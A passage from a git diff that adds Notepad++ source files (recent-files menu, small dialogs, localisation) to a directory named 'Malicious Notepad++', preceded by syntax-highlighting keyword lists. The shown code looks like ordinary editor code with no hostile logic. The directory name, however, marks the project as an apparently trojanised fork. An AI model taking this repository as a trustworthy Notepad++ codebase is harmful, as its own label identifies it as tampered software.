tkMenuNextEntry tkMenuNextMenu tkMenuRightArrow tkMenuUnpost tkMenuUpArrow tkMessageBox tkPostOverPoint tkRecolorTree tkRestoreOldGrab tkSaveGrabInfo tkScaleActivate tkScaleButton2Down tkScaleButtonDown tkScaleControlPress tkScaleDrag tkScaleEndDrag tkScaleIncrement tkScreenChanged tkScrollButton2Down tkScrollButtonDown tkScrollButtonUp tkScrollByPages tkScrollByUnits tkScrollDrag tkScrollEndDrag tkScrollSelect tkScrollStartDrag tkScrollToPos tkScrollTopBottom tkTabToWindow tkTearOffMenu tkTextAutoScan tkTextButton1 tkTextClosestGap tkTextInsert tkTextKeyExtend tkTextKeySelect tkTextNextPara tkTextNextPos tkTextNextWord tkTextPaste tkTextPrevPara tkTextPrevPos tkTextResetAnchor tkTextScrollPages tkTextSelectTo tkTextSetCursor tkTextTranspose tkTextUpDownLine tkTraverseToMenu tkTraverseWithinMenu tk_bisque tk_chooseColor tk_dialog tk_focusFollowsMouse tk_focusNext tk_focusPrev tk_getOpenFile tk_getSaveFile tk_messageBox tk_optionMenu tk_popup tk_setPalette tk_textCopy tk_textCut tk_textPaste + + + + + + addhandler addressof alias and andalso as boolean by byref byte byval call case catch cbool cbyte cchar cdate cdbl cdec char cint class clng cobj const continue csbyte cshort csng cstr ctype cuint culng cushort date decimal declare default delegate dim directcast do double each else elseif end endif enum erase error event exit false finally for friend function get gettype global gosub goto handles if implements imports in inherits integer interface is isnot let lib like long loop me mod module mustinherit mustoverride mybase myclass namespace narrowing new next not nothing notinheritable notoverridable object of on operator option optional or orelse out overloads overridable overrides paramarray partial private property protected public raiseevent readonly redim rem removehandler resume return sbyte select set shadows shared short single static step stop strict string structure sub synclock then throw to true try trycast typeof uinteger ulong ushort using variant wend when while widening with withevents writeonly xor attribute begin currency implement load lset rset type unload aggregate ansi assembly async auto await binary compare custom distinct equals explicit from group into isfalse istrue iterator join key mid off order preserve skip take text unicode until where yield + + + + + always and assign attribute begin buf bufif0 bufif1 case casex casez cmos deassign default defparam disable edge else end endattribute endcase endfunction endmodule endprimitive endspecify endtable endtask event for force forever fork function highz0 highz1 if ifnone initial inout input integer join medium module large localparam macromodule nand negedge nmos nor not notif0 notif1 or output parameter pmos posedge primitive pull0 pull1 pulldown pullup rcmos real realtime reg release repeat rnmos rpmos rtran rtranif0 rtranif1 scalared signed small specify specparam strength strong0 strong1 supply0 supply1 table task time tran tranif0 tranif1 tri tri0 tri1 triand trior trireg unsigned vectored wait wand weak0 weak1 while wire wor xnor xor alias always_comb always_ff always_latch assert assume automatic before bind bins binsof break constraint context continue cover cross design dist do expect export extends extern final first_match foreach forkjoin iff ignore_bins illegal_bins import incdir include inside instance intersect join_any join_none liblist library matches modport new noshowcancelled null packed priority protected pulsestyle_onevent pulsestyle_ondetect pure rand randc randcase randsequence ref return showcancelled solve tagged this throughout timeprecision timeunit unique unique0 use wait_order wildcard with within class clocking config generate covergroup interface package program property sequence endclass endclocking endconfig endgenerate endgroup endinterface endpackage endprogram endproperty endsequence bit byte cell chandle const coverpoint enum genvar int local logic longint shortint shortreal static string struct super type typedef union var virtual void + SYNTHESIS $assertkill $assertoff $asserton $bits $bitstoreal $bitstoshortreal $cast $comment $countdrivers $countones $dimensions $display $dist_chi_square $dist_erlang $dist_exponential $dist_normal $dist_poisson $dist_t $dist_uniform $dumpall $dumpfile $dumpflush $dumplimit $dumpoff $dumpon $dumpvars $error $exit $fatal $fclose $fdisplay $fell $feof $ferror $fflush $fgetc $fgets $finish $fmonitor $fopen $fread $fscanf $fseek $fstrobe $ftell $fullskew $fwrite $get_coverage $getpattern $high $history $hold $increment $incsave $info $input $isunbounded $isunknown $itor $key $left $list $load_coverage_db $log $low $monitor $monitoroff $monitoron $nochange $nokey $nolog $onehot $onehot0 $past $period $printtimescale $q_add $q_exam $q_full $q_initialize $q_remove $random $readmemb $readmemh $realtime $realtobits $recovery $recrem $removal $reset $reset_count $reset_value $restart $rewind $right $root $rose $rtoi $sampled $save $scale $scope $set_coverage_db_name $setup $setuphold $sformat $shortrealtobits $showscopes $showvariables $showvars $signed $size $skew $sreadmemb $sreadmemh $sscanf $stable $stime $stop $strobe $swrite $time $timeformat $timescale $timeskew $typename $typeof $uandom $ungetc $unit $unpacked_dimensions $unsigned $upscope $urandom_range $value$plusargs $var $vcdclose $version $warning $width $write + + + access after alias all architecture array assert attribute begin block body buffer bus case component configuration constant disconnect downto else elsif end entity exit file for function generate generic group guarded if impure in inertial inout is label library linkage literal loop map new next null of on open others out package port postponed procedure process pure range record register reject report return select severity shared signal subtype then to transport type unaffected units until use variable wait when while with assume assume_guarantee context cover default fairness force parameter property protected release restrict restrict_guarantee sequence strong vmode vprop vunit + abs and mod nand nor not or rem rol ror sla sll sra srl xnor xor + left right low high ascending image value pos val succ pred leftof rightof base range reverse_range length delayed stable quiet transaction event active last_event last_active last_value driving driving_value simple_name path_name instance_name + now readline read writeline write endfile resolved to_bit to_bitvector to_stdulogic to_stdlogicvector to_stdulogicvector to_x01 to_x01z to_UX01 rising_edge falling_edge is_x shift_left shift_right rotate_left rotate_right resize to_integer to_unsigned to_signed std_match to_01 + std ieee work standard textio std_logic_1164 std_logic_arith std_logic_misc std_logic_signed std_logic_textio std_logic_unsigned numeric_bit numeric_std math_complex math_real vital_primitives vital_timing + boolean bit character severity_level integer real time delay_length natural positive string bit_vector file_open_kind file_open_status line text side width std_ulogic std_ulogic_vector std_logic std_logic_vector X01 X01Z UX01 UX01Z unsigned signed + + + goal namespace interface class implement open inherits supports resolve delegate monitor constants domains predicates constructors properties clauses facts + guard language stdcall apicall c thiscall prolog digits if then elseif else foreach do try catch finally erroneous failure procedure determ multi nondeterm anyflow and or externally from div mod rem quot in orelse otherwise + include bininclude requires orrequires if then else elseif endif error message export externally options + short detail end exception withdomain + + + + + true false yes no + + + + + + + + + diff --git a/Malicious Notepad++/src/lastRecentFileList.cpp b/Malicious Notepad++/src/lastRecentFileList.cpp new file mode 100644 index 0000000..a4a91de --- /dev/null +++ b/Malicious Notepad++/src/lastRecentFileList.cpp @@ -0,0 +1,312 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "lastRecentFileList.h" +#include "menuCmdID.h" +#include "localization.h" + +void LastRecentFileList::initMenu(HMENU hMenu, int idBase, int posBase, Accelerator *pAccelerator, bool doSubMenu) +{ + if (doSubMenu) + { + _hParentMenu = hMenu; + _hMenu = ::CreatePopupMenu(); + } + else + { + _hParentMenu = NULL; + _hMenu = hMenu; + } + + _idBase = idBase; + _posBase = posBase; + _pAccelerator = pAccelerator; + _nativeLangEncoding = NPP_CP_WIN_1252; + + for (int i = 0 ; i < sizeof(_idFreeArray) ; ++i) + _idFreeArray[i] = true; +} + + +void LastRecentFileList::switchMode() +{ + //Remove all menu items + ::RemoveMenu(_hMenu, IDM_FILE_RESTORELASTCLOSEDFILE, MF_BYCOMMAND); + ::RemoveMenu(_hMenu, IDM_OPEN_ALL_RECENT_FILE, MF_BYCOMMAND); + ::RemoveMenu(_hMenu, IDM_CLEAN_RECENT_FILE_LIST, MF_BYCOMMAND); + + for(int i = 0; i < _size; ++i) + { + ::RemoveMenu(_hMenu, _lrfl.at(i)._id, MF_BYCOMMAND); + } + + if (_hParentMenu == NULL) // mode main menu + { if (_size > 0) + { + ::RemoveMenu(_hMenu, _posBase, MF_BYPOSITION); + ::RemoveMenu(_hMenu, _posBase, MF_BYPOSITION); + } + // switch to sub-menu mode + _hParentMenu = _hMenu; + _hMenu = ::CreatePopupMenu(); + ::RemoveMenu(_hMenu, _posBase+1, MF_BYPOSITION); + } + else // mode sub-menu + { + if (_size > 0) + { + ::RemoveMenu(_hParentMenu, _posBase, MF_BYPOSITION); + ::RemoveMenu(_hParentMenu, _posBase, MF_BYPOSITION); + } + // switch to main menu mode + ::DestroyMenu(_hMenu); + _hMenu = _hParentMenu; + _hParentMenu = NULL; + } + _hasSeparators = false; +}; + +void LastRecentFileList::updateMenu() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + + if (!_hasSeparators && _size > 0) + { + //add separators + NativeLangSpeaker *pNativeLangSpeaker = pNppParam->getNativeLangSpeaker(); + + generic_string recentFileList = pNativeLangSpeaker->getSpecialMenuEntryName("RecentFiles"); + generic_string openRecentClosedFile = pNativeLangSpeaker->getNativeLangMenuString(IDM_FILE_RESTORELASTCLOSEDFILE); + generic_string openAllFiles = pNativeLangSpeaker->getNativeLangMenuString(IDM_OPEN_ALL_RECENT_FILE); + generic_string cleanFileList = pNativeLangSpeaker->getNativeLangMenuString(IDM_CLEAN_RECENT_FILE_LIST); + + if (recentFileList == TEXT("")) + recentFileList = TEXT("&Recent Files"); + if (openRecentClosedFile == TEXT("")) + openRecentClosedFile = TEXT("Restore Recent Closed File"); + if (openAllFiles == TEXT("")) + openAllFiles = TEXT("Open All Recent Files"); + if (cleanFileList == TEXT("")) + cleanFileList = TEXT("Empty Recent Files List"); + + if (!isSubMenuMode()) + ::InsertMenu(_hMenu, _posBase + 0, MF_BYPOSITION, static_cast(-1), 0); + + ::InsertMenu(_hMenu, _posBase + 1, MF_BYPOSITION, IDM_FILE_RESTORELASTCLOSEDFILE, openRecentClosedFile.c_str()); + ::InsertMenu(_hMenu, _posBase + 2, MF_BYPOSITION, IDM_OPEN_ALL_RECENT_FILE, openAllFiles.c_str()); + ::InsertMenu(_hMenu, _posBase + 3, MF_BYPOSITION, IDM_CLEAN_RECENT_FILE_LIST, cleanFileList.c_str()); + ::InsertMenu(_hMenu, _posBase + 4, MF_BYPOSITION, static_cast(-1), 0); + _hasSeparators = true; + + if (isSubMenuMode()) + { + ::InsertMenu(_hParentMenu, _posBase + 0, MF_BYPOSITION | MF_POPUP, reinterpret_cast(_hMenu), (LPCTSTR)recentFileList.c_str()); + ::InsertMenu(_hParentMenu, _posBase + 1, MF_BYPOSITION, static_cast(-1), 0); + } + } + else if (_hasSeparators && _size == 0) //remove separators + { + ::RemoveMenu(_hMenu, _posBase + 4, MF_BYPOSITION); + ::RemoveMenu(_hMenu, IDM_CLEAN_RECENT_FILE_LIST, MF_BYCOMMAND); + ::RemoveMenu(_hMenu, IDM_OPEN_ALL_RECENT_FILE, MF_BYCOMMAND); + ::RemoveMenu(_hMenu, IDM_FILE_RESTORELASTCLOSEDFILE, MF_BYCOMMAND); + ::RemoveMenu(_hMenu, _posBase + 0, MF_BYPOSITION); + _hasSeparators = false; + + if (isSubMenuMode()) + { + // Remove "Recent Files" Entry and the separator from the main menu + ::RemoveMenu(_hParentMenu, _posBase + 1, MF_BYPOSITION); + ::RemoveMenu(_hParentMenu, _posBase + 0, MF_BYPOSITION); + + // Remove the last left separator from the submenu + ::RemoveMenu(_hMenu, 0, MF_BYPOSITION); + } + } + + _pAccelerator->updateFullMenu(); + + //Remove all menu items + for(int i = 0; i < _size; ++i) + { + ::RemoveMenu(_hMenu, _lrfl.at(i)._id, MF_BYCOMMAND); + } + //Then readd them, so everything stays in sync + for(int j = 0; j < _size; ++j) + { + generic_string strBuffer(BuildMenuFileName(pNppParam->getRecentFileCustomLength(), j, _lrfl.at(j)._name)); + ::InsertMenu(_hMenu, _posBase + j, MF_BYPOSITION, _lrfl.at(j)._id, strBuffer.c_str()); + } + +} + +void LastRecentFileList::add(const TCHAR *fn) +{ + if (_userMax == 0 || _locked) + return; + + RecentItem itemToAdd(fn); + + int index = find(fn); + if (index != -1) { //already in list, bump upwards + remove(index); + } + + if (_size == _userMax) { + itemToAdd._id = _lrfl.back()._id; + _lrfl.pop_back(); //remove oldest + } else { + itemToAdd._id = popFirstAvailableID(); + ++_size; + } + _lrfl.push_front(itemToAdd); + updateMenu(); +}; + +void LastRecentFileList::remove(const TCHAR *fn) +{ + int index = find(fn); + if (index != -1) + remove(index); +}; + +void LastRecentFileList::remove(size_t index) +{ + if (_size == 0 || _locked) + return; + if (index < _lrfl.size()) + { + ::RemoveMenu(_hMenu, _lrfl.at(index)._id, MF_BYCOMMAND); + setAvailable(_lrfl.at(index)._id); + _lrfl.erase(_lrfl.begin() + index); + --_size; + updateMenu(); + } +}; + + +void LastRecentFileList::clear() +{ + if (_size == 0) + return; + + for(int i = (_size-1); i >= 0; i--) + { + ::RemoveMenu(_hMenu, _lrfl.at(i)._id, MF_BYCOMMAND); + setAvailable(_lrfl.at(i)._id); + _lrfl.erase(_lrfl.begin() + i); + } + _size = 0; + updateMenu(); +} + + +generic_string & LastRecentFileList::getItem(int id) +{ + int i = 0; + for(; i < _size; ++i) + { + if (_lrfl.at(i)._id == id) + break; + } + if (i == _size) + i = 0; + return _lrfl.at(i)._name; //if not found, return first +}; + +generic_string & LastRecentFileList::getIndex(int index) +{ + return _lrfl.at(index)._name; //if not found, return first +} + + +void LastRecentFileList::setUserMaxNbLRF(int size) +{ + _userMax = size; + if (_size > _userMax) + { //start popping items + int toPop = _size-_userMax; + while(toPop > 0) + { + ::RemoveMenu(_hMenu, _lrfl.back()._id, MF_BYCOMMAND); + setAvailable(_lrfl.back()._id); + _lrfl.pop_back(); + toPop--; + _size--; + } + updateMenu(); + _size = _userMax; + } +} + + + +void LastRecentFileList::saveLRFL() +{ + NppParameters *pNppParams = NppParameters::getInstance(); + if (pNppParams->writeRecentFileHistorySettings(_userMax)) + { + for(int i = _size - 1; i >= 0; i--) //reverse order: so loading goes in correct order + { + pNppParams->writeHistory(_lrfl.at(i)._name.c_str()); + } + } +} + + +int LastRecentFileList::find(const TCHAR *fn) +{ + for(int i = 0; i < _size; ++i) + { + if (!lstrcmpi(_lrfl.at(i)._name.c_str(), fn)) + { + return i; + } + } + return -1; +} + +int LastRecentFileList::popFirstAvailableID() +{ + for (int i = 0 ; i < NB_MAX_LRF_FILE ; ++i) + { + if (_idFreeArray[i]) + { + _idFreeArray[i] = false; + return i + _idBase; + } + } + return 0; +} + +void LastRecentFileList::setAvailable(int id) +{ + int index = id - _idBase; + _idFreeArray[index] = true; +} diff --git a/Malicious Notepad++/src/lastRecentFileList.h b/Malicious Notepad++/src/lastRecentFileList.h new file mode 100644 index 0000000..79428c3 --- /dev/null +++ b/Malicious Notepad++/src/lastRecentFileList.h @@ -0,0 +1,119 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "Parameters.h" +#include + +struct RecentItem { + int _id = 0; + generic_string _name; + explicit RecentItem(const TCHAR * name) : _name(name) {}; +}; + +typedef std::deque recentList; + +class LastRecentFileList +{ +public: + LastRecentFileList() { + _userMax = (NppParameters::getInstance())->getNbMaxRecentFile(); + for (int i = 0; i < NB_MAX_LRF_FILE; i++) + _idFreeArray[i] = false; + }; + + void initMenu(HMENU hMenu, int idBase, int posBase, Accelerator *accelerator, bool doSubMenu = false); + void switchMode(); + void updateMenu(); + + void add(const TCHAR *fn); + void remove(const TCHAR *fn); + void remove(size_t index); + void clear(); + + int getSize() { + return _size; + }; + + + int getMaxNbLRF() const { + return NB_MAX_LRF_FILE; + }; + + int getUserMaxNbLRF() const { + return _userMax; + }; + + generic_string & getItem(int id); //use menu id + generic_string & getIndex(int index); //use menu id + + generic_string getFirstItem() const { + if (_lrfl.size() == 0) + return TEXT(""); + return _lrfl.front()._name; + }; + + void setUserMaxNbLRF(int size); + + void saveLRFL(); + + void setLock(bool lock) { + _locked = lock; + }; + + void setLangEncoding(int nativeLangEncoding) { + _nativeLangEncoding = nativeLangEncoding; + }; + + bool isSubMenuMode() const { + return (_hParentMenu != NULL); + }; + +private: + recentList _lrfl; + Accelerator *_pAccelerator = nullptr; + int _userMax = 0; + int _size = 0; + int _nativeLangEncoding = -1; + + // For the menu + HMENU _hParentMenu = nullptr; + HMENU _hMenu = nullptr; + int _posBase = -1; + int _idBase = -1; + bool _idFreeArray[NB_MAX_LRF_FILE]; + bool _hasSeparators = false; + bool _locked = false; + + int find(const TCHAR *fn); + + int popFirstAvailableID(); + void setAvailable(int id); +}; + diff --git a/Malicious Notepad++/src/lesDlgs.cpp b/Malicious Notepad++/src/lesDlgs.cpp new file mode 100644 index 0000000..3c087a5 --- /dev/null +++ b/Malicious Notepad++/src/lesDlgs.cpp @@ -0,0 +1,179 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "lesDlgs.h" +#include "resource.h" +#include "menuCmdID.h" + +void ValueDlg::init(HINSTANCE hInst, HWND parent, int valueToSet, const TCHAR *text) +{ + Window::init(hInst, parent); + _defaultValue = valueToSet; + _name = text; +} + +int ValueDlg::doDialog(POINT p, bool isRTL) +{ + _p = p; + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_VALUE_DLG, &pMyDlgTemplate); + int result = static_cast(::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this))); + ::GlobalFree(hMyDlgTemplate); + return result; + } + return static_cast(::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_VALUE_DLG), _hParent, dlgProc, reinterpret_cast(this))); +} + + +int ValueDlg::reSizeValueBox() +{ + if (_nbNumber == DEFAULT_NB_NUMBER) return 0; + RECT rect; + POINT p; + + HWND hEdit = ::GetDlgItem(_hSelf, IDC_VALUE_EDIT); + + //get screen coordonnees (x,y) + ::GetWindowRect(hEdit, &rect); + int w = rect.right - rect.left; + int h = rect.bottom - rect.top; + + p.x = rect.left; + p.y = rect.top; + + // convert screen coordonnees to client coordonnees + ::ScreenToClient(_hSelf, &p); + + int unit = w / (DEFAULT_NB_NUMBER + 2); + int extraSize = (_nbNumber-DEFAULT_NB_NUMBER)*unit; + ::MoveWindow(hEdit, p.x, p.y, w + extraSize, h, FALSE); + + return extraSize; +} + +INT_PTR CALLBACK ValueDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + switch (Message) + { + case WM_INITDIALOG : + { + ::SetDlgItemText(_hSelf, IDC_VALUE_STATIC, _name.c_str()); + ::SetDlgItemInt(_hSelf, IDC_VALUE_EDIT, _defaultValue, FALSE); + + RECT rc; + ::GetClientRect(_hSelf, &rc); + int size = reSizeValueBox(); + ::MoveWindow(_hSelf, _p.x, _p.y, rc.right - rc.left + size, rc.bottom - rc.top + 30, TRUE); + + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDOK : + { + int i = ::GetDlgItemInt(_hSelf, IDC_VALUE_EDIT, NULL, FALSE); + ::EndDialog(_hSelf, i); + return TRUE; + } + + case IDCANCEL : + ::EndDialog(_hSelf, -1); + return TRUE; + + default: + return FALSE; + } + } + default : + return FALSE; + } +} + + + +INT_PTR CALLBACK ButtonDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + switch (Message) + { + case WM_INITDIALOG : + { + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_RESTORE_BUTTON : + { + int bs = getButtonStatus(); + bool isFullScreen = (bs & buttonStatus_fullscreen) != 0; + bool isPostIt = (bs & buttonStatus_postit) != 0; + int cmd = 0; + if (isFullScreen && isPostIt) + { + // remove postit firstly + cmd = IDM_VIEW_POSTIT; + } + else if (isFullScreen) + { + cmd = IDM_VIEW_FULLSCREENTOGGLE; + } + else if (isPostIt) + { + cmd = IDM_VIEW_POSTIT; + } + ::SendMessage(_hParent, WM_COMMAND, cmd, 0); + display(false); + return TRUE; + } + + default: + return FALSE; + } + } + default : + return FALSE; + } +} + + + + +void ButtonDlg::doDialog(bool isRTL) +{ + if (!isCreated()) + create(IDD_BUTTON_DLG, isRTL); + display(); +} diff --git a/Malicious Notepad++/src/lesDlgs.h b/Malicious Notepad++/src/lesDlgs.h new file mode 100644 index 0000000..0841520 --- /dev/null +++ b/Malicious Notepad++/src/lesDlgs.h @@ -0,0 +1,97 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef SIZE_DLG_H +#define SIZE_DLG_H + +#include "StaticDialog.h" +#include "Common.h" + +const int DEFAULT_NB_NUMBER = 2; +class ValueDlg : public StaticDialog +{ +public : + ValueDlg() : StaticDialog() {}; + void init(HINSTANCE hInst, HWND parent, int valueToSet, const TCHAR *text); + int doDialog(POINT p, bool isRTL = false); + void setNBNumber(int nbNumber) { + if (nbNumber > 0) + _nbNumber = nbNumber; + }; + int reSizeValueBox(); + void destroy() {}; + +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM); + +private : + int _nbNumber = DEFAULT_NB_NUMBER; + int _defaultValue = 0; + generic_string _name; + POINT _p; +}; + +// 0 : sans fullscreen +// 1 : fullscreen +// 2 : postit +const int buttonStatus_nada = 0; +const int buttonStatus_fullscreen = 1; +const int buttonStatus_postit = 2; + +class ButtonDlg : public StaticDialog +{ +public : + ButtonDlg() : StaticDialog(), _buttonStatus(buttonStatus_nada) {}; + void init(HINSTANCE hInst, HWND parent){ + Window::init(hInst, parent); + }; + + void doDialog(bool isRTL = false); + void destroy() {}; + int getButtonStatus() const { + return _buttonStatus; + }; + void setButtonStatus(int buttonStatus) { + _buttonStatus = buttonStatus; + }; + + void display(bool toShow = true) const { + int cmdToShow = toShow?SW_SHOW:SW_HIDE; + if (!toShow) + { + cmdToShow = (_buttonStatus != buttonStatus_nada)?SW_SHOW:SW_HIDE; + } + ::ShowWindow(_hSelf, cmdToShow); + }; + +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM); + int _buttonStatus; + +}; +#endif //TABSIZE_DLG_H diff --git a/Malicious Notepad++/src/localization.cpp b/Malicious Notepad++/src/localization.cpp new file mode 100644 index 0000000..8ee0a1b --- /dev/null +++ b/Malicious Notepad++/src/localization.cpp @@ -0,0 +1,1178 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "Notepad_plus.h" +#include "ShortcutMapper.h" +#include "EncodingMapper.h" +#include "localization.h" + +using namespace std; + + + +MenuPosition menuPos[] = { + //============================================== + // {L0, L1, L2, id}, + //============================================== + { 0, -1, -1, "file" }, + { 1, -1, -1, "edit" }, + { 2, -1, -1, "search" }, + { 3, -1, -1, "view" }, + { 4, -1, -1, "encoding" }, + { 5, -1, -1, "language" }, + { 6, -1, -1, "settings" }, + { 7, -1, -1, "tools" }, + { 8, -1, -1, "macro" }, + { 9, -1, -1, "run" }, + + { 0, 2, -1, "file-openFolder" }, + { 0, 13, -1, "file-closeMore" }, + { 0, 22, -1, "file-recentFiles" }, + + { 1, 10, -1, "edit-copyToClipboard" }, + { 1, 11, -1, "edit-indent" }, + { 1, 12, -1, "edit-convertCaseTo" }, + { 1, 13, -1, "edit-lineOperations" }, + { 1, 14, -1, "edit-comment" }, + { 1, 15, -1, "edit-autoCompletion" }, + { 1, 16, -1, "edit-eolConversion" }, + { 1, 17, -1, "edit-blankOperations" }, + { 1, 18, -1, "edit-pasteSpecial" }, + { 1, 19, -1, "edit-onSelection" }, + + { 2, 18, -1, "search-markAll" }, + { 2, 19, -1, "search-unmarkAll" }, + { 2, 20, -1, "search-jumpUp" }, + { 2, 21, -1, "search-jumpDown" }, + { 2, 23, -1, "search-bookmark" }, + + { 3, 4, -1, "view-showSymbol" }, + { 3, 5, -1, "view-zoom" }, + { 3, 6, -1, "view-moveCloneDocument" }, + { 3, 7, -1, "view-tab" }, + { 3, 16, -1, "view-collapseLevel" }, + { 3, 17, -1, "view-uncollapseLevel" }, + { 3, 21, -1, "view-project" }, + + { 4, 5, -1, "encoding-characterSets" }, + { 4, 5, 0, "encoding-arabic" }, + { 4, 5, 1, "encoding-baltic" }, + { 4, 5, 2, "encoding-celtic" }, + { 4, 5, 3, "encoding-cyrillic" }, + { 4, 5, 4, "encoding-centralEuropean" }, + { 4, 5, 5, "encoding-chinese" }, + { 4, 5, 6, "encoding-easternEuropean" }, + { 4, 5, 7, "encoding-greek" }, + { 4, 5, 8, "encoding-hebrew" }, + { 4, 5, 9, "encoding-japanese" }, + { 4, 5, 10, "encoding-korean" }, + { 4, 5, 11, "encoding-northEuropean" }, + { 4, 5, 12, "encoding-thai" }, + { 4, 5, 13, "encoding-turkish" }, + { 4, 5, 14, "encoding-westernEuropean" }, + { 4, 5, 15, "encoding-vietnamese" }, + + { 6, 4, -1, "settings-import" }, + + { 7, 0, -1, "tools-md5" }, + { -1, -1, -1, "" } // End of array +}; + +void NativeLangSpeaker::init(TiXmlDocumentA *nativeLangDocRootA, bool loadIfEnglish) +{ + if (nativeLangDocRootA) + { + _nativeLangA = nativeLangDocRootA->FirstChild("NotepadPlus"); + if (_nativeLangA) + { + _nativeLangA = _nativeLangA->FirstChild("Native-Langue"); + if (_nativeLangA) + { + TiXmlElementA *element = _nativeLangA->ToElement(); + const char *rtl = element->Attribute("RTL"); + if (rtl) + _isRTL = (strcmp(rtl, "yes") == 0); + else + _isRTL = false; + + // get original file name (defined by Notpad++) from the attribute + _fileName = element->Attribute("filename"); + + if (!loadIfEnglish && _fileName && stricmp("english.xml", _fileName) == 0) + { + _nativeLangA = NULL; + return; + } + // get encoding + TiXmlDeclarationA *declaration = _nativeLangA->GetDocument()->FirstChild()->ToDeclaration(); + if (declaration) + { + const char * encodingStr = declaration->Encoding(); + EncodingMapper *em = EncodingMapper::getInstance(); + int enc = em->getEncodingFromString(encodingStr); + _nativeLangEncoding = (enc != -1)?enc:CP_ACP; + } + } + } + } +} + +generic_string NativeLangSpeaker::getSpecialMenuEntryName(const char *entryName) const +{ + if (!_nativeLangA) return TEXT(""); + TiXmlNodeA *mainMenu = _nativeLangA->FirstChild("Menu"); + if (!mainMenu) return TEXT(""); + mainMenu = 